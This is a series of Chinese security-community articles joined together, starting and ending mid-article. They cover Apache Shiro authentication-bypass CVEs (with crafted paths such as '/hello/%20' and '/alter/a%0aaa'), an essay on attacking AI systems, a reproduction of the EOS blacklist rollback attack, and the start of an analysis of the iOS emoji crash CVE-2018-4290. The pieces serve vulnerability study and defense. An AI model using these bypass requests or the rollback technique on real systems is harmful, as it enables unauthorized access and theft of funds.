影响版本：`shiro < 1.7.1`
漏洞描述：`Shiro 1.7.1` 之前的版本，在将 `Shiro` 与 `Spring` 结合使用时，特制的 `HTTP` 请求可能会导致身份验证绕过。
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/ab1ea4a2006f6bd6a2b5f72740b7135662f8f160#diff-ce9ba3462f7d76e68c79bec5b9a3aea9bbd0d22ffb5e738f1b621cae49037b92)
### 漏洞分析
如`CVE-2020-17510`那样，这个漏洞可以使用空格`%20`进行绕过。
我们输入路径为`http://localhost:8080/hello/%20`，进入`getChain`，经过路径获取后要进行权限的匹配与验证
注意，获取的路径后面有空格
这里主要看一下`/hello/`和`/hello/*`比较时发生了什么
经过`pathMatches(pathPattern, requestURI)` -> `pathMatcher.matches(pattern,
path)` -> `match(pattern, source)` -> `doMatch(pattern, path, true)`
来到了主要的判断方法`doMatch()`。
其中`StringUtils.tokenizeToStringArray()`方法是将它的参数，也就是传进来的两个路径拆解成字符串数组，然后进行比较。
进入方法，可以看到当对空格进行转换时，直接`trim`为空
这样就导致与`shiro`中的配置本意想违背，导致绕过。
然后在`Spring`中的处理时，`uri`又包含空格，这样就能访问到`/hello/%20`页面
### 漏洞修复
在[Commit](https://github.com/apache/shiro/commit/ab1ea4a2006f6bd6a2b5f72740b7135662f8f160#diff-ce9ba3462f7d76e68c79bec5b9a3aea9bbd0d22ffb5e738f1b621cae49037b92)中，主要修复点`AntPathMatcher.java`，在`tokenizeToStringArray`方法中加了`false`和`true`两个参数
可以看到，当第三个参数为`false`时，即`trimTokens`为`false`，此时就不会对`token`进行`trim`。
## CVE-2021-41303
### 漏洞信息
漏洞编号：[CVE-2021-41303](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41303) /
[SHIRO-825](https://issues.apache.org/jira/browse/SHIRO-825)
影响版本：`shiro < 1.8.0`
漏洞描述：`1.8.0` 之前的 `Apache Shiro`，在 `Spring Boot` 中使用 `Apache Shiro` 时，特制的
`HTTP` 请求可能会导致身份验证绕过。用户应该更新到 `Apache Shiro 1.8.0`。
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/4a20bf0e995909d8fda58f9c0485ea9eb2d43f0e)
参考：[threedr3am师傅](https://threedr3am.github.io/2021/09/22/%E4%BB%8E%E6%BA%90%E7%A0%81diff%E5%88%86%E6%9E%90Apache-Shiro%201.7.1%E7%89%88%E6%9C%AC%E7%9A%84auth%20bypass%EF%BC%88CVE-2021-41303%EF%BC%89/)
## 漏洞分析
根据[threedr3am师傅](https://threedr3am.github.io/2021/09/22/%E4%BB%8E%E6%BA%90%E7%A0%81diff%E5%88%86%E6%9E%90Apache-Shiro%201.7.1%E7%89%88%E6%9C%AC%E7%9A%84auth%20bypass%EF%BC%88CVE-2021-41303%EF%BC%89/)博客提供的方向，看了一下Shiro
1.7.1前后`PathMatchingFilterChainResolver#getChain`的对比
发现在`1.7.1`版本中，先是对pathPattern和requestURI进行比较，比较成功，返回：
filterChainManager.proxy(originalChain, pathPattern);
否则对删除尾部斜线的pathPattern和requestURI进行比较，比较成功，跳出循环，返回：
filterChainManager.proxy(originalChain, requestURINoTrailingSlash);
但是正常访问，都会返回第一个`proxy`，什么时候才能绕过第一个比较并符合第二个比较呢？
可以看到，两者差别是对`uri`尾部斜线的处理，所以当在`uri`尾部加一个`/`，就会进入第二种比较方式。
结合之前的多次调试再根据`threedr3am师傅`博客中的认证，可以知道`shiro`的认证鉴权会根据配置的先后顺序去依次实施
所以当我有如下配置时：
map.put("/admin/*", "authc");
map.put("/admin/page", "anon");
循环中先匹配到`/admin/*`（这里是通过`while`语句对去除尾部斜线的`uri`进行匹配）,然后跳出循环，进入到`filterChainManager.proxy(originalChain,
requestURINoTrailingSlash);`，注意，这里真正的参数就是去除尾部斜线的`uri`，也就是`/admin/page`，所以在`DefaultFilterChainManager#getChain`中得到的权限是`anon`，这样就达到绕过目的。
## 漏洞修复
直接将`filterChainManager.proxy`的第二个参数改为`pathPattern`，直接传配置中的`uri`了
## CVE-2022-32532
### 漏洞信息
漏洞编号：[CVE-2022-32532](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32532)
影响版本：`shiro < 1.9.1`
漏洞描述：在`1.9.1`之前的`Apache
Shiro`中，`RegexRequestMatcher`可能会被错误配置，从而在某些`servlet`容器上被绕过。应用程序使用`RegExPatternMatcher`与`.`的正则表达式可能容易被授权绕过。
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/6bcb92e06fa588b9c7790dd01bc02135d58d3f5b)
参考：[4ra1n师傅](https://xz.aliyun.com/t/11501)
### 漏洞分析
这是最新的一个洞，看`Shiro`发布的[公告](https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh)显示，是由于`RegexRequestMatcher`的错误配置导致的问题。
简单了解了一下，`RegexRequestMatcher`和`AntPathMatcher`类似，都是`Shiro`用于路径匹配的配置，只是`RegexRequestMatcher`需要用户自己配置。
根据[4ra1n师傅](https://xz.aliyun.com/t/11501)的分析，可以知道，正常正则表达式`.`并不包含`\r`和`\n`字符
修改成如下代码就可修复问题
// flag为Pattern.DOTALL时，表达式 .可以匹配任何字符，包括行结束符。
Pattern pattern = Pattern.compile(regex,Pattern.DOTALL);
那么回头看一下`RegexRequestMatcher`用于匹配的代码
public boolean matches(String pattern, String source) {
if (pattern == null) {
throw new IllegalArgumentException("pattern argument cannot be null.");
} else {
Pattern p = Pattern.compile(pattern);
Matcher m = p.matcher(source);
return m.matches();
}
}
可以发现，当`pattern`存在带`.`的正则表达式并且`source`中存在`\r`或`\n`字时，此时判断错误。
此时我们在配置完`RegexRequestMatcher`之后增加如下`Controller`
@RequestMapping(path = "/alter/{value}")
public String alter(@PathVariable String value) {
System.out.println("绕过成功");
return "绕过成功"+value;
}
增加如下配置
//myFilter.java中设置成需要权限
manager.addToChain("/alter/.*", "myFilter");
这样正常访问`/alter/aaa`是被拒绝的，但是当访问`/alter/a%0aaa`或`/alter/a%0daa`时就会绕成验证，访问成功
这个洞限制还是比较多的，既要服务器配置了`RegExPatternMatcher`，又要设置带有`.`的正则表达式
### 漏洞修复
在[Commit](https://github.com/apache/shiro/commit/6bcb92e06fa588b9c7790dd01bc02135d58d3f5b)可以看到，对`compile`方法设置了`flag` | 社区文章 |
# 如何对抗神一样的人工智能
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> “你为什么要和人工智能对着干？ 你们安全人员为什么不能拥抱人工智能？ 能不能不吓唬人？”
我们发布深度学习系统中的威胁和攻击演示后，这是一个出乎意料，但又常被问到的问题。
当时我脑海闪过的是电影《终结者 I》中的场景：莎拉康纳被凶猛的T800追杀。施瓦辛格扮演的T800
智能机器人不仅仅有人脸识别技术，还有地图和大数据信息，而且还基本上打不死。 这是人工智能追杀人类的经典例子。 在电影世界里，康纳需要对抗人工智能（The
Terminator 系列），甚至复制人都需要抵抗智能的银翼杀手（BladeRunner 系列）…
对抗人工智能一直是我们对未来生活想象的一部分，而且一直是正义的需求。
跟PR打过几次交道的我，决定把这个回答咽到肚子里。
这个问题需要写文字来回答。
## 为什么要对抗人工智能
关于为什么要研究人工智能系统里的安全问题，我们在 ISC 2017 大会的时候给过一个冠冕堂皇的回答 —— “因为黑产在用人工智能”。
当深度学习作为一种日益大众化的技术手段，对技术采用的门槛自然会降低，所以人工智能技术不仅仅可以推动自动驾驶，人脸识别，也可以被用来刷帖和破解图片验证码，甚至会被用来收集特定目标信息，精准钓鱼攻击用户，包括你和我。
对行之有效的技术，黑产肯花钱，而且往往出的价钱超过互联网公司对相应技术的投入。 攻防有太多的不对称，这里不再赘述。
用个极端的例子，比如用无人机带着微型炸药来追杀你，它有你过去的行踪轨迹，并会在引爆之前对目标进行人脸识别。 要不要对抗？
这不是科幻，这是2017年已经被展示过的现实。
当你被人工智能追杀的是时候，对抗人工智能是生存的需求。从这个角度看，在网络空间中，安全人员研究人工智能的安全问题是名正言顺的，
## 对抗人工智能的另一个原因
聊完科幻之后，我们看看现实。 如果你被“杀人无人机”吓到的话，现实其实并没有那么可怕。
作为一个安全人员，我看到的情况挺拧巴的。
一方面我们总听到神一样的深度学习算法，它催发了大量新型应用，从人脸识别到自动驾驶。 各种应用,
从手机登录到移动支付，谁家不添加一个人工智能功能，谁好像就被留在石器时代了。
另一方面，安全圈里经常看到的是类似 “某平台人脸识别惊现重大漏洞” 这样的新闻，或者安全人员用两张纸就可以绕过人脸识别登录，
还有用胶带和导电笔可以破解指纹识别的。 用360团队的例子 — 安全人员可以让著名的图片识别程序把羊的图片认成狼，或者把狼认成羊。
被测试目标程序使用的是谷歌团队的深度学习模型加上 ImageNet 中最强大的数据！
在这个矛盾的世界里，当深度学习浪潮让众多年轻人冲到人工智能这块工地上搬砖的时候，我觉得安全研究人员有义务提醒大家：别忘带安全帽。
人工智能技术也许可以把一个应用加速建成一座美妙的楼阁， 但安全也是应用的一个基石，否则高空作业的同学可能需要配备降落伞。
所以研究对抗人工智能技术也是研究一种保护手段，避免一个顶着人工智能光环的应用被用户轻易愚弄。
## 风险的源头
为什么会出现智能系统很弱智地被轻易破解或绕过？ 难道我们不应该拥抱深度学习引领的这场技术革命吗？
说一个自己的亲身经历： 最近有机会和一个顶级人工智能专家交流 — 顶级是指在ImageNet夺冠N次这个级别的人工智能专家。
当我们展示用降维攻击导致深度学习系统识别出错的时候，人工智能专家立刻反应说：“这不是我们人工智能的错”。
同样，当我们告知一个著名深度学习框架作者，框架的数据处理层有bug, 因为没有对一个库调用做返回值检查，
回答是：“这个库应该确保返回值正常，不是我们的错”。
作为搞安全的老司机，这些回答我不吃惊，而且听起来特别熟悉。
你跟一个搞数据库的讲说他们的软件有SQL注入漏洞，回答往往是 — “这不是我们搞数据库的问题”； 你跟一个服务端开发人员说他写的软件有控制流劫持漏洞，回答是
— “我们客户端（浏览器）做了输入限制，你提供的输入是不可能的，这不是我们的错。”
安全人员听着耳熟吧？ 回答没毛病。
可是安全漏洞摆在那里，非要到展示PoC 或 到黑产窃取了用户信息被曝光之后才是毛病？
用两张纸就可以绕过的人脸识别没毛病吗？如果自动驾驶是在这种氛围里开发的，我们该不该上车？
一个算法在实验环境中，在众多假设条件下有精彩的结果当然是好事情。 但做一个被广大用户所使用的应用会遇到很多挑战。
所以在新的应用发布的时候，请不要只看到搞图像语音识别的同学在前台意气风发，大谈人工智能； 你很可能需要抚慰一下在后面灰着脸搭系统和做实现的同学。
## 如何对抗人工智能
回答了为什么做反人工智能研究，接下来是更复杂的问题 — 如何对抗人工智能。 如果看看2017年的媒体报道，人工智能就如神一样的存在。 弱点在哪里呢？
先从著名的例子开刀。 “你怎么对抗AlphaGo？”，这是一位业界领袖丢给我的一个问题。
AlphaGo碾压人类棋手，如果追杀你的无人机有AlphaGo级别的人工智能，你怎么应对？
如果你作为读者看到这里，仍然把人工智能算法想成神？那在 AlphaGo 面前，你只有束手就擒！
AlphaGo有自己的弱点。
你不信吗？ 这个在 AlphaGo 团队的采访里就有答案。
在与李世石对决的比赛里，作为”AlphaGo手臂“的黄士杰最担心的就是自己投错子。
之所以我们无法对抗人工智能，是因为我们的讨论是把它放在一个抽象的环境中，输入和输出都是完美的。如果说黄士杰可以被攻击的话，比如让他看错棋盘落错子，AlphaGo就不再是坚不可摧。
讲到这里，我学生的反应是，“李康老师，你这个不算。哪里有下棋攻击人的 。。。“
不可以吗？
海豚音攻击针对的是智能语音系统的麦克风，对特斯拉的第一个攻击是让摄像头致盲，发射欺骗信号给毫米波雷达。安全世界里这样的攻击数不胜数。
神一样的深度学习要求所有输入都符合一定格式，如果这样可以号称人工智能，那么当“杀人无人机”在头顶盘旋的时候，对它的传感器，摄像头进行对抗攻击不应该很合理吗？
## 对抗人工智能的方法是把它从神坛上请下来
对抗人工智能的方法是将它从神坛上请下来，给它赋予任何实际应用所需要的血肉之躯。对于人工智能来讲，就是要考虑全系统，包括数据采集，传感器实现，数据处理，以及软件如何与用户打交道等每一个环节。
当我们不再把人工智能应用看成一个抽象的算法，而是作为一个系统来看，我们才能全面讨论它的安全威胁，以及对抗人工智能的方法。这里我只简单介绍几个深度学习算法之外的威胁。
除了刚才提到的对输入输出子系统的攻击，或者对传感器的攻击，还有对系统软件供应链的攻击，包括模型的来源，软件开发环境的安全，机器学习培训数据的安全，数据流处理过程的安全。
参考最近爆出的CPU漏洞，系统硬件的设计实现，以及硬件供应链，任何一个环节都可能引入安全风险。
研究这些风险，从防守的角度，就是如何排除这些风险，从而保护人工智能系统，比如确保自动驾驶系统的安全。
从攻击的角度，就是如何对抗人工智能，例如如何规避无人机的追踪。 在这个后者的角度，人工智能系统越强大，对规避和对抗研究的需求就越强。
施瓦辛格样子的T800 今天也许仍然是想象，但好像离我们也不太远。
## 参考文献
【1】 某支付平台“人脸识别”惊现重大漏洞 <http://www.mpaypass.com.cn/news/201801/16203343.html>
【2】 对深度学习的降维攻击 <http://www.360zhijia.com/360anquanke/341007.html>
【3】 用隐形眼镜和打印机破解三星虹膜识别
<https://www.leiphone.com/news/201705/oPlrziXF35KBDNkU.html>
【4】两张A4纸破解虹膜人脸识别 <http://www.sohu.com/a/200560466_99938933> | 社区文章 |
# EOS 回滚攻击手法分析之黑名单篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：yudan@慢雾安全团队
## 事件背景
2018 年 12 月 19 日，众多游戏类 DApp 遭遇交易回滚攻击，其中包括 BetDice，EOSMax，ToBet 等。按当时 18
元人民币的价格计算，损失超过 500 万人民币。期间 BetDice 通过链金术平台发出多次公告，一度造成恐慌。
与此同时，慢雾安全团队对交易所和中心化钱包给出了暂时性的方案。此刻，攻击手法依旧是一个谜团。那么，攻击手段究竟是怎样的呢？在进行攻击回顾之前，需要先了解一点技术背景。
## 技术背景
1、我们知道 EOS 采用的共识算法是 DPOS 算法，采用的是 21 个超级节点轮流出块的方式。除了 21
个超级节点外的其他全节点，并没有出块的权限。起到的作用是将收到的交易广播出去，然后超级节点将其进行打包。
说到这里，很容易看出，如果一笔交易是发给除了超级节点外的其他全节点，这笔交易会经历两个过程。首先，这笔交易先被全节点接收，然后交易再被节点广播出去进行打包。而一笔交易是需要超级节点中超过
2/3+1 的节点进行确认之后才是不可回滚的，也就是不可逆的。
这个过程大概需要 3
分钟左右，也就是说，交易发到除了超级节点外的全节点的时候，由于全节点没有打包的权利，此时此刻交易仍然处于可逆状态（这里假定节点数据库的读取模式为默认的
speculative，[有关阅读模式的参考](https://developers.eos.io/eosio-nodeos/docs/read-modes)）。这是一个核心关键点。
2、每一个 bp(超级节点)，都可以在自己的节点的 config.ini
文件内进行黑名单的配置，在黑名单中的帐号是不能进行交易的，也就是说无论怎样，黑名单的交易都会被回滚。
黑名单配置路径：
Mac OS：
~/Library/Application Support/eosio/nodeos/config/config.ini
Linux:
~/.local/share/eosio/nodeos/config/config.ini
配置方法：
将 config.ini 文件内的 actor-blacklist 填入黑名单帐号，如下图中，将 attacker 这个帐号作为黑名单帐号。
了解了以上的知识点之后，我们就可以进行整个攻击事件的回顾了。
## 攻击回顾
跟踪攻击者的其中一个攻击帐号，发现帐号合约内只有一个 transfer 函数
同时，我们可以通过复盘这个帐号的所有交易记录发现，这个帐号只有开奖记录，而没有下注记录，看起来就好像项目方故意给这个帐号进行开奖一样。然而事实上并非如此。那为什么会出现这样的情况呢？这就需要上面的技术背景的知识了。以下是详细的攻击手法：
1、首先：攻击者调用非黑名单合约的 transfer 函数，函数内部有一个 inline action 进行下注，from
填写的是攻击者控制的非黑名单合约帐号，to 填写的是游戏合约帐号。这时，攻击者发送交易是发向游戏合约自己的全节点服务器。使用的是黑名单帐号进行。
2、游戏节点读取到了这笔交易，立刻进行开奖，如果中奖，将对攻击者控制的非黑名单帐号发送 EOS。
3、在经历了一个 1，2
两个操作之后。理论上攻击者控制的非黑名单帐号是进行了余额扣除。然后进行正常的开奖逻辑。到这里之前，一切都是正常的。也许有读者会问，为什么配置了黑名单，交易还能正常发起？原因是这个黑名单生效范围是在
bp 内，普通的全节点的 config.ini 内是没有黑名单的配置的。所以攻击者依然可以发起交易。
4、到此为止，攻击正式开始，也到了最关键的地方，由于项目方节点在收到下注交易的时候已经立马完成了开奖逻辑，而且采用的是线下开奖的模式，即下注交易和开奖交易是两笔不同的交易。但是，这两笔交易仅仅是在项目方的节点内完成，仍然是可逆的。当项目方节点向
bp 广播这两笔交易的时候，由于第一笔下注交易的发起者在 bp
节点的黑名单内，这一笔交易将被回滚，也就是打包失败，而开奖交易的发起者是项目方，不在黑名单之内，会被正常打包。因此两笔交易中的第一笔下注交易一定会被回滚，而开奖交易依旧会被打包，这也就解释了为什么只有开奖记录，而没有下注记录。因为下注记录都被回滚了。
整个过程可以参考下面的图：
## 攻击复现
本次攻击复现参考 EOS LIVE 钱包团队的文章：<https://eos.live/detail/19255>
1、环境准备
（1）本地准备两个节点，一个出块节点，一个同步节点，出块节点用于模拟真实 bp，而同步节点则用于模拟项目方，其中出块节点需要开启 history
插件，方便后续的 debug，并且把 attacker 加入节点黑名单。方便后续的 debug。打包节点则需要开启自动开奖插件,自动开奖插件配置详见：
<https://github.com/superoneio/security>
本次复现用到的代码：
<https://github.com/superoneio/security>
本地多节点配置方法官方参考：
<https://developers.eos.io/eosio-nodeos/docs/local-multi-node-testnet>
（2）三个测试帐号，分别是 tobetioadmin,tobetiologs1,attackproxy1，分别为项目方帐号，项目方 log
帐号，和攻击代理帐号，其中 tobetioadmin 部署 tobet 游戏合约，tobetiologs1 部署 logs 合约，attackproxy1
部署 attack 合约。注意除了攻击代理帐号外的其他两个帐号不要改为其他帐号，如果改为其他帐号需要对自动开奖插件进行修改，自动开奖插件是拦截
tobetioadmin 这个帐号的。
（3）附上我的双节点的配置：
其中 nodeos_main 为出块节点，nodeos_second 为同步节点。
2、启动节点
看到以上信息则代表 dice_plugin 配置成功
3、首先对正常的逻辑进行测试。
使用 attackproxy1 对 tobetioadmin 帐号进行正常的转账交易
可以看到，攻击代理合约进行了正常的转账。
4、开始攻击，使用黑名单帐号调用攻击代理合约，向项目方合约发起攻击。
（1）查询初始余额
（2）为保证攻击成功，连续向项目方发起 4 起攻击
（3）再次查询余额
（4）查询attacker帐号记录
可见，并没有 attacker 对 attackproxy1 的调用记录，最后两条记录是我测试直接使用黑名单向 tobetadmin
发起攻击的时候留下的记录。与本次测试无关。但是通过查询发现，本地记录和链上记录是相吻合的，即无下注记录。
（5）查询 attackproxy1 的帐号记录
可以看到的是，这个也与链上记录吻合，只有开奖记录，就像 tobetadmio 故意给 attackproxy1 开奖一般。
通过以上的复现及和链上记录的对比，我们可以证明上文说的攻击手法，就是黑客本次进行攻击的手法，采用的就是使用黑名单进行回滚的操作。
## 防御建议
1、针对 DApp 的防御建议
（1）节点开启 read only 模式，防止节点服务器上出现未确认的块
（2）建立开奖依赖，如订单依赖，开奖的时候判断订单是否存在，就算在节点服务器上开奖成功，由于在 bp 上下注订单被回滚，所以相应的开奖记录也会被回滚。
2、针对交易所和中心化钱包的防御建议
慢雾安全团队建议 EOS 交易所及中心化钱包在通过 RPC 接口 get_actions 查询热钱包充值记录时，应检查充值 transaction 所在的
block_num 是否小于 last_irreversible_block(最新不可逆区块)，如果 block_num 大于
last_irreversible_block 则表示该区块仍然是可逆的，存在“假充值”风险。
致谢
感谢 EOS LIVE 钱包团队对本地复现过程中的技术解疑和复现代码的提供。
参考：
节点配置参考：
<https://developers.eos.io/eosio-nodeos/docs/read-modes>
EOS LIVE 钱包团队的文章：
<https://eos.live/detail/19255> | 社区文章 |
# iOS 表情符号拒绝服务漏洞详情披露(CVE-2018-4290)
##### 译文声明
本文是翻译文章，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x34.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在我们深入讨论之前，请注意：
* 这个bug只是拒绝服务(相对于远程编码执行)。
* 这个bug仅影响某些“无区域”配置中的iOS设备。
* 这个bug在iOS 11.4.1已被修补为CVE-2018-4290。
话虽如此，这个bug还是可以远程触发的，而且可以导致受影响的设备上任何正在处理远程消息(iMessage、Facebook
Messenger、WhatsApp等)的iOS应用程序都会崩溃！
## 背景
“Patrick，我想中国黑了我的iPhone”
虽然我通常会对这种难以置信的情景一笑置之，但我正在研究我的情绪智力，耐心地询问为什么我的台湾朋友会这样想。
她声称，每当她输入台湾或更糟的词时，都会收到一条带有台湾旗帜(🇹🇼)的消息，这会让她的iOS设备上的应用程序崩溃。
我仍然有点怀疑，但如下所示，这正是正在发生的事情！
[](https://p2.ssl.qhimg.com/t0193232448c1a23a32.gif)
我给她发了多个台湾旗帜，导致她的iMessage、Facebook Messenger和WhatsApp持续崩溃。🤣
在这篇文章中，我们将说明如何分析和跟踪这个远程iOS缺陷的根本原因。
## 崩溃
崩溃的设备是运行iOS 11.3(当时最新版本的iOS)的iPhone 7：
Device: iPhone 7, iPhone9,1 (US)
iOS: 11.3 (15E216)
Language: English, followed by Chinese
Region: United States
Jailbroken: No
以下是iMessenger(MobileSMS)提供的经过删减的崩溃报告。它是从设备(通过Settings -> Privacy, Analytics,
Analytics Data)获取的：
{"app_name":"MobileSMS","timestamp":"2018-04-18 22:27:25.13 -0700","app_version":"5.0",
"slice_uuid":"feac9bde-20a2-37c2-86e0-119fb8b9b650","adam_id":0,"build_version":"1.0",
"bundleID":"com.apple.MobileSMS","share_with_app_devs":false,"is_first_party":true,
"bug_type":"109","os_version":"iPhone OS 11.3
(15E216)","incident_id":"9EE5610B-7A0C-4558-895F-CF876DEB6B07","name":"MobileSMS"}
Incident Identifier: 9EE5610B-7A0C-4558-895F-CF876DEB6B07
CrashReporter Key: 69340bb1126c092b97b9af069f4f6f037466ee0c
Hardware Model: iPhone9,1
Process: MobileSMS [10417]
Path: /Applications/MobileSMS.app/MobileSMS
Identifier: com.apple.MobileSMS
Version: 1.0 (5.0)
Code Type: ARM-64 (Native)
Role: Foreground
Parent Process: launchd [1]
Coalition: com.apple.MobileSMS [2015]
Date/Time: 2018-04-18 22:27:24.9896 -0700
Launch Time: 2018-04-18 22:26:16.9044 -0700
OS Version: iPhone OS 11.3 (15E216)
Baseband Version: 3.66.00
Report Version: 104
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x0000000000000000
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [0]
Triggered by Thread: 6
Filtered syslog:
None found
Thread 0 name: Dispatch queue: com.apple.main-thread
Thread 0:
0 libsystem_kernel.dylib 0x00000001824b3e08 0x1824b3000 + 3592
1 libsystem_kernel.dylib 0x00000001824b3c80 0x1824b3000 + 3200
2 CoreFoundation 0x00000001829f6e40 0x182909000 + 974400
3 CoreFoundation 0x00000001829f4908 0x182909000 + 964872
4 CoreFoundation 0x0000000182914da8 0x182909000 + 48552
5 GraphicsServices 0x00000001848f7020 0x1848ec000 + 45088
6 UIKit 0x000000018c8f578c 0x18c5d8000 + 3266444
7 MobileSMS 0x0000000100e1867c 0x100df8000 + 132732
8 libdyld.dylib 0x00000001823a5fc0 0x1823a5000 + 4032
....
Thread 6 name: Dispatch queue: com.apple.ResponseKit
Thread 6 Crashed:
0 CoreFoundation 0x0000000182922efc 0x182909000 + 106236
1 CoreEmoji 0x00000001886b2354 0x1886a6000 + 50004
2 CoreEmoji 0x00000001886b2354 0x1886a6000 + 50004
3 CoreEmoji 0x00000001886b2c80 0x1886a6000 + 52352
4 CoreEmoji 0x00000001886a8ebc 0x1886a6000 + 11964
5 ResponseKit 0x00000001968754ac 0x19683d000 + 230572
6 ResponseKit 0x0000000196872e9c 0x19683d000 + 220828
7 ResponseKit 0x00000001968739b4 0x19683d000 + 223668
8 ResponseKit 0x0000000196862e78 0x19683d000 + 155256
9 ResponseKit 0x0000000196862c00 0x19683d000 + 154624
10 ResponseKit 0x00000001968619f0 0x19683d000 + 150000
11 libdispatch.dylib 0x0000000182340b24 0x18233f000 + 6948
12 libdispatch.dylib 0x0000000182340ae4 0x18233f000 + 6884
13 libdispatch.dylib 0x000000018234aa38 0x18233f000 + 47672
14 libdispatch.dylib 0x000000018234b380 0x18233f000 + 50048
15 libdispatch.dylib 0x000000018234bd4c 0x18233f000 + 52556
16 libdispatch.dylib 0x000000018235411c 0x18233f000 + 86300
17 libsystem_pthread.dylib 0x0000000182673e70 0x182673000 + 3696
18 libsystem_pthread.dylib 0x0000000182673b08 0x182673000 + 2824
Thread 6 crashed with ARM Thread State (64-bit):
x0: 0x0000000000000000 x1: 0x00000001add1ad38 x2: 0x0000000000000000 x3: 0x00000001ad364438
x4: 0x0000000000000000 x5: 0x0000000000000001 x6: 0x0000000000000000 x7: 0x0000000000000000
x8: 0x0000000000000000 x9: 0x00000001b4e15930 x10: 0x0000000ffffffff8 x11: 0x0000000000000040
x12: 0xffffffffffffffff x13: 0x0000000000000001 x14: 0x0000000000000000 x15: 0x00002d0000002d00
x16: 0x0000000000000000 x17: 0x0000000000002d00 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x00000001add1ad38 x21: 0x0000000000000000 x22: 0x0000000000000000 x23: 0x00000001c4864cc0
x24: 0x00000001000404ef x25: 0x0000000000050000 x26: 0x0000000103d059e4 x27: 0x0000000103d059e4
x28: 0x0000000000000000 fp: 0x000000016f1a5b20 lr: 0x00000001886b2354
sp: 0x000000016f1a5b00 pc: 0x0000000182922efc cpsr: 0x80000000
Binary Images:
0x100df8000 - 0x100e43fff MobileSMS arm64 <feac9bde20a237c286e0119fb8b9b650> /Applications/MobileSMS.app/MobileSMS
0x182909000 - 0x182c9ffff CoreFoundation arm64 <cf162b3ca2883453b2914300d4f19612> /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
0x1886a6000 - 0x1886b7fff CoreEmoji arm64 <6d18237f09d23ce6aa6abb287d7aa515> /System/Library/PrivateFrameworks/CoreEmoji.framework/CoreEmoji
0x19683d000 - 0x19693ffff ResponseKit arm64 <4f7abc9a8f803cb2bff0172b8c69f13e> /System/Library/PrivateFrameworks/ResponseKit.framework/ResponseKit
我们将更详细地讨论这个问题，但是简单说就是在地址0x00000000000000处发生一个EXC_BAD_ACCESS (SIGSEGV)
(Exception Subtype: KERN_INVALID_ADDRESS)。
这类崩溃通常表示空指针解引用（NULL-pointer
dereference）。在这里，这个错误似乎是在iOS执行某种类型的表情处理时触发的(这与iMessenger接收到的台湾标志的触发相吻合)。
iOS系统崩溃报告中的其他相关信息包括：
* 故障指令地址(0x0000000182922efc)
* 崩溃前线程(#6)的调用堆栈
* 相关的dylib(即调用堆栈中的那些)
## 崩溃分析
我们的目标是现在追查崩溃的原因。也就是说，为什么0x0000000182922efc上的指令取消引用一个空指针？
我们将从反转调用堆栈中出现的动态库(ResponseKit、CoreEmoji和CoreFoundation)开始。具体来说，我们将检查在调用堆栈中出现的这些dylib中的地址的代码。
因为我朋友的手机没有越狱，所以我们只能从设备中获取dylib二进制文件.我们必须从其他地方获取它们。事实证明，最简单的是来自于iOS
11.3的恢复映像。这类还原映像包含iOS系统二进制文件，例如我们要寻找的dylib。我们可以从[ipsw.me](https://ipsw.me/iPhone9,1)获取iOS
11.3还原映像(iPhone_4.7_P3_11.0_11.3_15E216_Restore.ipsw）
下载这个文件后，我们就可以通过hdiutil命令挂载058-97716-127.dmg磁盘映像：
$ hdiutil attach iPhone_4.7_P3_11.0_11.3_15E216_Restore/058-97716-127.dmg expected CRC32 $BDE79F12 /dev/disk2 GUID_partition_scheme
/dev/disk2s1 EFI
/dev/disk2s2 Apple_APFS
/dev/disk3 EF57347C-0000-11AA-AA11-0030654 /dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/Emet15E216.D10D101D20D201OS
[](https://p3.ssl.qhimg.com/t01f8550a2e63f8e593.png)
由于我们要寻找的dylib被嵌入到dyld共享缓存(dyld_shared_cache_arm64)中，所以我们必须提取它们。
使用[jtool](http://www.newosxbook.com/tools/jtool.html)，这是最直接的，只需指定要提取的dylib的名称(例如CoreEmoji)，然后指定共享缓存的路径：
jtool -e "CoreEmoji" /Volumes/Emet15E216.D10D101D20D201OS/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Extracting /System/Library/PrivateFrameworks/CoreEmoji.framework/CoreEmoji at 0x6b4e000 into dyld_shared_cache_arm64.CoreEmoji
提取了以下dylib(在崩溃线程的调用堆栈中分别引用了这些dylib)：
yld_shared_cache_arm64_CoreEmoji
version: 69.3.0
sha1: 20F6BECF7C76A3FEAFEB8D2321F593388A3CB9B6
dyld_shared_cache_arm64_CoreFoundation
version: 1452.23.0
sha1: AD3A226884BB3612694B9AB37DF18F42452D5139
dyld_shared_cache_arm64_ResponseKit
version 109.0.0
sha1: BDA7F1F329321C20539499EAF1C36693823CF60E
不幸的是，我们必须符号化这些dylib，因为他们的大多数符号都被“编辑”了：
$ nm dyld_shared_cache_arm64_ResponseKit
0000000194ce6f9c t <redacted>
0000000194ce701c t <redacted>
0000000194ce7090 t <redacted>
0000000194ce70c4 t <redacted>
0000000194ce71e4 t <redacted>
0000000194ce72e0 t <redacted>
0000000194ce72e8 t <redacted>
0000000194ce72f0 t <redacted>
0000000194ce735c t <redacted>
0000000194ce7444 t <redacted>
...
不过，首先让我们对提取的iOS dylib进行重新定位，以便它们的地址(在反汇编程序/反编译器中查看时)与崩溃报告中的地址相匹配。
要对每个提取的dylib进行重新定位，我们使用崩溃报告中的基地址(例如CoreEmoji的0x1886a6000)。在Hopper中，可以通过Modify
-> Change File Base Address…来重新建立二进制文件的基地址：
[](https://p4.ssl.qhimg.com/t012c57ac7295f94a20.png)
一旦重设好了，我们就可以解决符号的问题了。
